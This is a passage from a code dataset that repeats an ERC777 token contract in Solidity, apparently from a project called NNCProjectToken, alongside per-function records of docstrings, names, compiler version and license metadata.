function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | burn | function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
| /**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
4493,
4628
]
} | 59,938 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | isOperatorFor | function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
| /**
* @dev See {IERC777-isOperatorFor}.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
4691,
5007
]
} | 59,939 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | authorizeOperator | function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
| /**
* @dev See {IERC777-authorizeOperator}.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
5074,
5180
]
} | 59,940 |
